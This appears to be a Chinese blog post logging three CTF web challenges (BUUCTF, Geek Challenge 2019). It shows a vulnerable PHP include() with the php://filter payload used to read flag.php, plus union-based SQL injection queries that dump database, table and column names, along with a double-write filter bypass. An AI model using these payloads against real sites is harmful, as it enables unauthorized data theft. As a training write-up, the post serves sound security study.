【CTF】-Web练习日志8.12

题目一:[极客大挑战 2019]Secret File1

 

 查看源代码发现 Archive_room.phpaction.php 

但是查看action页面会自动跳转到end,利用burp suite 抓包看一下发现secr3t.php 

查看页面

<?php
    highlight_file(__FILE__);
    error_reporting(0);
    $file=$_GET['file'];
    if(strstr($file,"../")||stristr($file, "tp")||stristr($file,"input")||stristr($file,"data")){
        echo "Oh no!";
        exit();
    }
    include($file); 
//flag放在了flag.php里
?>

 看着像php伪协议套模板看一下

?file=php://filter/read=convert.base64-encode/resource=flag.php

结果解码得到 flag

 题目二:[极客大挑战 2019]LoveSQL1

 

万能密码直接上 

Hello admin!

Your password is '1a14e8198f530d4e0668847bdaf9f8eb'

MD5解码解不出来

sql注入测试

[极客大挑战 2019]LoveSQL(最基础的sql注入,万能密码登录)_WHOAMIAnony的博客-CSDN博客_极客大挑战2019lovesql

简单的sql手工注入过程_nlog3n的博客-CSDN博客_sql手工注入步骤 

关键

爆库>爆表>字段>查询

select * from user where id='' union select user(),database(),version()+--+;
Select * from user where id='' union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database_1;--
Select * from user where id='' union selcet 1,group_concat(column_name),3 from information_schema.columns where table_name=table_1;--
Selcet * from user where id='' union select 1,column_1,column_2 from tables;--

题目三:[极客大挑战 2019]BabySQL1

整体思路和题目二是一样的

这里的考点就是union select form 的绕过

百度了绕过的各种方法

尝试了编码绕过 %00 大小写都不行,只有双写可以

BUUCTF-[极客大挑战 2019]BabySQL 1 详解 - junlebao - 博客园

 

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值